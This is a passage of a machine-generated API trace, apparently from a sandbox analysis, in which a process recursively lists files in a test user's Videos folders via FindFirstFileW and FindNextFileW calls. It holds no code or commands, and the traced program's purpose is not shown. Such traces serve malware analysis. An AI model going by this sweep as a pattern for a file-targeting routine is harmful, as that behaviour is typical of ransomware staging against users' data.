ftLastAccessTime.dwLowDateTime=0xf8facab, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf8facab, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1377050, ftCreationTime.dwHighDateTime=0x1d62e22, ftLastAccessTime.dwLowDateTime=0x703a23e0, ftLastAccessTime.dwHighDateTime=0x1d62c07, ftLastWriteTime.dwLowDateTime=0x703a23e0, ftLastWriteTime.dwHighDateTime=0x1d62c07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Jqm-00YiTmh_-Te_tC", cAlternateFileName="0JQM-0~1")) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4537fd0, ftCreationTime.dwHighDateTime=0x1d626b4, ftLastAccessTime.dwLowDateTime=0x564d5cf0, ftLastAccessTime.dwHighDateTime=0x1d631c4, ftLastWriteTime.dwLowDateTime=0x564d5cf0, ftLastWriteTime.dwHighDateTime=0x1d631c4, nFileSizeHigh=0x0, nFileSizeLow=0x13a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="3-TgLm.swf", cAlternateFileName="")) returned 1 [0094.446] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43f94523, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43f94523, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee053cb0, ftCreationTime.dwHighDateTime=0x1d623e2, ftLastAccessTime.dwLowDateTime=0x501c7620, ftLastAccessTime.dwHighDateTime=0x1d631c1, ftLastWriteTime.dwLowDateTime=0x501c7620, ftLastWriteTime.dwHighDateTime=0x1d631c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QLE-SQXqAh", cAlternateFileName="QLE-SQ~1")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d6d910, ftCreationTime.dwHighDateTime=0x1d6297b, ftLastAccessTime.dwLowDateTime=0xda71bd20, ftLastAccessTime.dwHighDateTime=0x1d62a47, ftLastWriteTime.dwLowDateTime=0xda71bd20, ftLastWriteTime.dwHighDateTime=0x1d62a47, nFileSizeHigh=0x0, nFileSizeLow=0x4072, dwReserved0=0x0, dwReserved1=0x0, cFileName="r0S7Wsd1.flv", cAlternateFileName="")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20b7da80, ftCreationTime.dwHighDateTime=0x1d62782, ftLastAccessTime.dwLowDateTime=0x82ee6bd0, ftLastAccessTime.dwHighDateTime=0x1d622d5, ftLastWriteTime.dwLowDateTime=0x82ee6bd0, ftLastWriteTime.dwHighDateTime=0x1d622d5, nFileSizeHigh=0x0, nFileSizeLow=0x1395d, dwReserved0=0x0, dwReserved1=0x0, cFileName="t96vy4RUntVEoU.mkv", cAlternateFileName="T96VY4~1.MKV")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfa0d3c0, ftCreationTime.dwHighDateTime=0x1d62e0d, ftLastAccessTime.dwLowDateTime=0xc9ab84c0, ftLastAccessTime.dwHighDateTime=0x1d62a11, ftLastWriteTime.dwLowDateTime=0xc9ab84c0, ftLastWriteTime.dwHighDateTime=0x1d62a11, nFileSizeHigh=0x0, nFileSizeLow=0x15e3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="wDuGvKtcXYgsUGUnKtY.flv", cAlternateFileName="WDUGVK~1.FLV")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba9dc6a0, ftCreationTime.dwHighDateTime=0x1d627be, ftLastAccessTime.dwLowDateTime=0xf907ff80, ftLastAccessTime.dwHighDateTime=0x1d6281a, ftLastWriteTime.dwLowDateTime=0xf907ff80, ftLastWriteTime.dwHighDateTime=0x1d6281a, nFileSizeHigh=0x0, nFileSizeLow=0xc192, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y_gdwy.flv", cAlternateFileName="")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848b1c0, ftCreationTime.dwHighDateTime=0x1d6250e, ftLastAccessTime.dwLowDateTime=0x7cca4d0, ftLastAccessTime.dwHighDateTime=0x1d628fc, ftLastWriteTime.dwLowDateTime=0x7cca4d0, ftLastWriteTime.dwHighDateTime=0x1d628fc, nFileSizeHigh=0x0, nFileSizeLow=0x14eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z6FsGy05_-ql36NbIA M.mp4", cAlternateFileName="Z6FSGY~1.MP4")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.447] FindClose (in: hFindFile=0x1ae50e50 | out: hFindFile=0x1ae50e50) returned 1 [0094.447] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\0Jqm-00YiTmh_-Te_tC\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1377050, ftCreationTime.dwHighDateTime=0x1d62e22, ftLastAccessTime.dwLowDateTime=0x703a23e0, ftLastAccessTime.dwHighDateTime=0x1d62c07, ftLastWriteTime.dwLowDateTime=0x703a23e0, ftLastWriteTime.dwHighDateTime=0x1d62c07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50e50 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1377050, ftCreationTime.dwHighDateTime=0x1d62e22, ftLastAccessTime.dwLowDateTime=0x703a23e0, ftLastAccessTime.dwHighDateTime=0x1d62c07, ftLastWriteTime.dwLowDateTime=0x703a23e0, ftLastWriteTime.dwHighDateTime=0x1d62c07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaccdf60, ftCreationTime.dwHighDateTime=0x1d62f31, ftLastAccessTime.dwLowDateTime=0x267c6ed0, ftLastAccessTime.dwHighDateTime=0x1d628e1, ftLastWriteTime.dwLowDateTime=0x267c6ed0, ftLastWriteTime.dwHighDateTime=0x1d628e1, nFileSizeHigh=0x0, nFileSizeLow=0xb7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="6qj-ZzhZufYAH5xIyg.mp4", cAlternateFileName="6QJ-ZZ~1.MP4")) returned 1 [0094.447] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd82c9f70, ftCreationTime.dwHighDateTime=0x1d62e76, ftLastAccessTime.dwLowDateTime=0x3b5a47c0, ftLastAccessTime.dwHighDateTime=0x1d63069, ftLastWriteTime.dwLowDateTime=0x3b5a47c0, ftLastWriteTime.dwHighDateTime=0x1d63069, nFileSizeHigh=0x0, nFileSizeLow=0x11baa, dwReserved0=0x0, dwReserved1=0x0, cFileName="aZQ7hidioX_kubUblVtD.mkv", cAlternateFileName="AZQ7HI~1.MKV")) returned 1 [0094.448] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf19b5a0, ftCreationTime.dwHighDateTime=0x1d62831, ftLastAccessTime.dwLowDateTime=0x4553dd90, ftLastAccessTime.dwHighDateTime=0x1d62f33, ftLastWriteTime.dwLowDateTime=0x4553dd90, ftLastWriteTime.dwHighDateTime=0x1d62f33, nFileSizeHigh=0x0, nFileSizeLow=0xb4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kv_EloBokWrl_.mp4", cAlternateFileName="KV_ELO~1.MP4")) returned 1 [0094.448] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbf5c20, ftCreationTime.dwHighDateTime=0x1d62cf8, ftLastAccessTime.dwLowDateTime=0x46cfdf10, ftLastAccessTime.dwHighDateTime=0x1d62d9a, ftLastWriteTime.dwLowDateTime=0x46cfdf10, ftLastWriteTime.dwHighDateTime=0x1d62d9a, nFileSizeHigh=0x0, nFileSizeLow=0xe627, dwReserved0=0x0, dwReserved1=0x0, cFileName="NvTsD GsIeYhuEc.mp4", cAlternateFileName="NVTSDG~1.MP4")) returned 1 [0094.448] FindNextFileW (in: hFindFile=0x1ae50e50, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbf5c20, ftCreationTime.dwHighDateTime=0x1d62cf8, ftLastAccessTime.dwLowDateTime=0x46cfdf10, ftLastAccessTime.dwHighDateTime=0x1d62d9a, ftLastWriteTime.dwLowDateTime=0x46cfdf10, ftLastWriteTime.dwHighDateTime=0x1d62d9a, nFileSizeHigh=0x0, nFileSizeLow=0xe627, dwReserved0=0x0, dwReserved1=0x0, cFileName="NvTsD GsIeYhuEc.mp4", cAlternateFileName="NVTSDG~1.MP4")) returned 0 [0094.448] FindClose (in: hFindFile=0x1ae50e50 | out: hFindFile=0x1ae50e50) returned 1 [0094.448] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\0Jqm-00YiTmh_-Te_tC\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1377050, ftCreationTime.dwHighDateTime=0x1d62e22, ftLastAccessTime.dwLowDateTime=0x703a23e0, ftLastAccessTime.dwHighDateTime=0x1d62c07, ftLastWriteTime.dwLowDateTime=0x703a23e0, ftLastWriteTime.dwHighDateTime=0x1d62c07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50310 [0094.448] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1377050, ftCreationTime.dwHighDateTime=0x1d62e22, ftLastAccessTime.dwLowDateTime=0x703a23e0, ftLastAccessTime.dwHighDateTime=0x1d62c07, ftLastWriteTime.dwLowDateTime=0x703a23e0, ftLastWriteTime.dwHighDateTime=0x1d62c07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.448] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaccdf60, ftCreationTime.dwHighDateTime=0x1d62f31, ftLastAccessTime.dwLowDateTime=0x267c6ed0, ftLastAccessTime.dwHighDateTime=0x1d628e1, ftLastWriteTime.dwLowDateTime=0x267c6ed0, ftLastWriteTime.dwHighDateTime=0x1d628e1, nFileSizeHigh=0x0, nFileSizeLow=0xb7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="6qj-ZzhZufYAH5xIyg.mp4", cAlternateFileName="6QJ-ZZ~1.MP4")) returned 1 [0094.448] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd82c9f70, ftCreationTime.dwHighDateTime=0x1d62e76, ftLastAccessTime.dwLowDateTime=0x3b5a47c0, ftLastAccessTime.dwHighDateTime=0x1d63069, ftLastWriteTime.dwLowDateTime=0x3b5a47c0, ftLastWriteTime.dwHighDateTime=0x1d63069, nFileSizeHigh=0x0, nFileSizeLow=0x11baa, dwReserved0=0x0, dwReserved1=0x0, cFileName="aZQ7hidioX_kubUblVtD.mkv", cAlternateFileName="AZQ7HI~1.MKV")) returned 1 [0094.448] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf19b5a0, ftCreationTime.dwHighDateTime=0x1d62831, ftLastAccessTime.dwLowDateTime=0x4553dd90, ftLastAccessTime.dwHighDateTime=0x1d62f33, ftLastWriteTime.dwLowDateTime=0x4553dd90, ftLastWriteTime.dwHighDateTime=0x1d62f33, nFileSizeHigh=0x0, nFileSizeLow=0xb4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kv_EloBokWrl_.mp4", cAlternateFileName="KV_ELO~1.MP4")) returned 1 [0094.448] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbf5c20, ftCreationTime.dwHighDateTime=0x1d62cf8, ftLastAccessTime.dwLowDateTime=0x46cfdf10, ftLastAccessTime.dwHighDateTime=0x1d62d9a, ftLastWriteTime.dwLowDateTime=0x46cfdf10, ftLastWriteTime.dwHighDateTime=0x1d62d9a, nFileSizeHigh=0x0, nFileSizeLow=0xe627, dwReserved0=0x0, dwReserved1=0x0, cFileName="NvTsD GsIeYhuEc.mp4", cAlternateFileName="NVTSDG~1.MP4")) returned 1 [0094.449] FindNextFileW (in: hFindFile=0x1ae50310, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.449] FindClose (in: hFindFile=0x1ae50310 | out: hFindFile=0x1ae50310) returned 1 [0094.449] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee053cb0, ftCreationTime.dwHighDateTime=0x1d623e2, ftLastAccessTime.dwLowDateTime=0x501c7620, ftLastAccessTime.dwHighDateTime=0x1d631c1, ftLastWriteTime.dwLowDateTime=0x501c7620, ftLastWriteTime.dwHighDateTime=0x1d631c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50970 [0094.449] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee053cb0, ftCreationTime.dwHighDateTime=0x1d623e2, ftLastAccessTime.dwLowDateTime=0x501c7620, ftLastAccessTime.dwHighDateTime=0x1d631c1, ftLastWriteTime.dwLowDateTime=0x501c7620, ftLastWriteTime.dwHighDateTime=0x1d631c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.449] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdca460, ftCreationTime.dwHighDateTime=0x1d6263a, ftLastAccessTime.dwLowDateTime=0x91c55c30, ftLastAccessTime.dwHighDateTime=0x1d626cd, ftLastWriteTime.dwLowDateTime=0x91c55c30, ftLastWriteTime.dwHighDateTime=0x1d626cd, nFileSizeHigh=0x0, nFileSizeLow=0xf27b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4UJiAt.flv", cAlternateFileName="")) returned 1 [0094.449] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x646427a0, ftCreationTime.dwHighDateTime=0x1d62ed7, ftLastAccessTime.dwLowDateTime=0xfbe1da30, ftLastAccessTime.dwHighDateTime=0x1d6286c, ftLastWriteTime.dwLowDateTime=0xfbe1da30, ftLastWriteTime.dwHighDateTime=0x1d6286c, nFileSizeHigh=0x0, nFileSizeLow=0x12791, dwReserved0=0x0, dwReserved1=0x0, cFileName="adAUA_.mp4", cAlternateFileName="")) returned 1 [0094.449] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1c62ec0, ftCreationTime.dwHighDateTime=0x1d6233f, ftLastAccessTime.dwLowDateTime=0xafbe2a70, ftLastAccessTime.dwHighDateTime=0x1d62c11, ftLastWriteTime.dwLowDateTime=0xafbe2a70, ftLastWriteTime.dwHighDateTime=0x1d62c11, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NyhrpyDgQUdwKFr", cAlternateFileName="NYHRPY~1")) returned 1 [0094.449] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8860ece0, ftCreationTime.dwHighDateTime=0x1d62ba5, ftLastAccessTime.dwLowDateTime=0x50fda610, ftLastAccessTime.dwHighDateTime=0x1d6310b, ftLastWriteTime.dwLowDateTime=0x50fda610, ftLastWriteTime.dwHighDateTime=0x1d6310b, nFileSizeHigh=0x0, nFileSizeLow=0x644f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O1eOFbM8r_M4.mkv", cAlternateFileName="O1EOFB~1.MKV")) returned 1 [0094.449] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a01c20, ftCreationTime.dwHighDateTime=0x1d62561, ftLastAccessTime.dwLowDateTime=0x17ae9070, ftLastAccessTime.dwHighDateTime=0x1d63171, ftLastWriteTime.dwLowDateTime=0x17ae9070, ftLastWriteTime.dwHighDateTime=0x1d63171, nFileSizeHigh=0x0, nFileSizeLow=0x185c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tsfPdGVRPx01M_uw-mKU.mkv", cAlternateFileName="TSFPDG~1.MKV")) returned 1 [0094.449] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642e8050, ftCreationTime.dwHighDateTime=0x1d62ab3, ftLastAccessTime.dwLowDateTime=0x684aede0, ftLastAccessTime.dwHighDateTime=0x1d6307b, ftLastWriteTime.dwLowDateTime=0x684aede0, ftLastWriteTime.dwHighDateTime=0x1d6307b, nFileSizeHigh=0x0, nFileSizeLow=0x1377, dwReserved0=0x0, dwReserved1=0x0, cFileName="z1rs5R.avi", cAlternateFileName="")) returned 1 [0094.449] FindNextFileW (in: hFindFile=0x1ae50970, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642e8050, ftCreationTime.dwHighDateTime=0x1d62ab3, ftLastAccessTime.dwLowDateTime=0x684aede0, ftLastAccessTime.dwHighDateTime=0x1d6307b, ftLastWriteTime.dwLowDateTime=0x684aede0, ftLastWriteTime.dwHighDateTime=0x1d6307b, nFileSizeHigh=0x0, nFileSizeLow=0x1377, dwReserved0=0x0, dwReserved1=0x0, cFileName="z1rs5R.avi", cAlternateFileName="")) returned 0 [0094.450] FindClose (in: hFindFile=0x1ae50970 | out: hFindFile=0x1ae50970) returned 1 [0094.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee053cb0, ftCreationTime.dwHighDateTime=0x1d623e2, ftLastAccessTime.dwLowDateTime=0x501c7620, ftLastAccessTime.dwHighDateTime=0x1d631c1, ftLastWriteTime.dwLowDateTime=0x501c7620, ftLastWriteTime.dwHighDateTime=0x1d631c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae503d0 [0094.450] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee053cb0, ftCreationTime.dwHighDateTime=0x1d623e2, ftLastAccessTime.dwLowDateTime=0x501c7620, ftLastAccessTime.dwHighDateTime=0x1d631c1, ftLastWriteTime.dwLowDateTime=0x501c7620, ftLastWriteTime.dwHighDateTime=0x1d631c1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.450] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdca460, ftCreationTime.dwHighDateTime=0x1d6263a, ftLastAccessTime.dwLowDateTime=0x91c55c30, ftLastAccessTime.dwHighDateTime=0x1d626cd, ftLastWriteTime.dwLowDateTime=0x91c55c30, ftLastWriteTime.dwHighDateTime=0x1d626cd, nFileSizeHigh=0x0, nFileSizeLow=0xf27b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4UJiAt.flv", cAlternateFileName="")) returned 1 [0094.450] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x646427a0, ftCreationTime.dwHighDateTime=0x1d62ed7, ftLastAccessTime.dwLowDateTime=0xfbe1da30, ftLastAccessTime.dwHighDateTime=0x1d6286c, ftLastWriteTime.dwLowDateTime=0xfbe1da30, ftLastWriteTime.dwHighDateTime=0x1d6286c, nFileSizeHigh=0x0, nFileSizeLow=0x12791, dwReserved0=0x0, dwReserved1=0x0, cFileName="adAUA_.mp4", cAlternateFileName="")) returned 1 [0094.450] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1c62ec0, ftCreationTime.dwHighDateTime=0x1d6233f, ftLastAccessTime.dwLowDateTime=0xafbe2a70, ftLastAccessTime.dwHighDateTime=0x1d62c11, ftLastWriteTime.dwLowDateTime=0xafbe2a70, ftLastWriteTime.dwHighDateTime=0x1d62c11, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NyhrpyDgQUdwKFr", cAlternateFileName="NYHRPY~1")) returned 1 [0094.450] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8860ece0, ftCreationTime.dwHighDateTime=0x1d62ba5, ftLastAccessTime.dwLowDateTime=0x50fda610, ftLastAccessTime.dwHighDateTime=0x1d6310b, ftLastWriteTime.dwLowDateTime=0x50fda610, ftLastWriteTime.dwHighDateTime=0x1d6310b, nFileSizeHigh=0x0, nFileSizeLow=0x644f, dwReserved0=0x0, dwReserved1=0x0, cFileName="O1eOFbM8r_M4.mkv", cAlternateFileName="O1EOFB~1.MKV")) returned 1 [0094.450] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a01c20, ftCreationTime.dwHighDateTime=0x1d62561, ftLastAccessTime.dwLowDateTime=0x17ae9070, ftLastAccessTime.dwHighDateTime=0x1d63171, ftLastWriteTime.dwLowDateTime=0x17ae9070, ftLastWriteTime.dwHighDateTime=0x1d63171, nFileSizeHigh=0x0, nFileSizeLow=0x185c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="tsfPdGVRPx01M_uw-mKU.mkv", cAlternateFileName="TSFPDG~1.MKV")) returned 1 [0094.450] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642e8050, ftCreationTime.dwHighDateTime=0x1d62ab3, ftLastAccessTime.dwLowDateTime=0x684aede0, ftLastAccessTime.dwHighDateTime=0x1d6307b, ftLastWriteTime.dwLowDateTime=0x684aede0, ftLastWriteTime.dwHighDateTime=0x1d6307b, nFileSizeHigh=0x0, nFileSizeLow=0x1377, dwReserved0=0x0, dwReserved1=0x0, cFileName="z1rs5R.avi", cAlternateFileName="")) returned 1 [0094.450] FindNextFileW (in: hFindFile=0x1ae503d0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0094.450] FindClose (in: hFindFile=0x1ae503d0 | out: hFindFile=0x1ae503d0) returned 1 [0094.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\QLE-SQXqAh\\NyhrpyDgQUdwKFr\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1c62ec0, ftCreationTime.dwHighDateTime=0x1d6233f, ftLastAccessTime.dwLowDateTime=0xafbe2a70, ftLastAccessTime.dwHighDateTime=0x1d62c11, ftLastWriteTime.dwLowDateTime=0xafbe2a70, ftLastWriteTime.dwHighDateTime=0x1d62c11, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50850 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1c62ec0, ftCreationTime.dwHighDateTime=0x1d6233f, ftLastAccessTime.dwLowDateTime=0xafbe2a70, ftLastAccessTime.dwHighDateTime=0x1d62c11, ftLastWriteTime.dwLowDateTime=0xafbe2a70, ftLastWriteTime.dwHighDateTime=0x1d62c11, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.451] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, 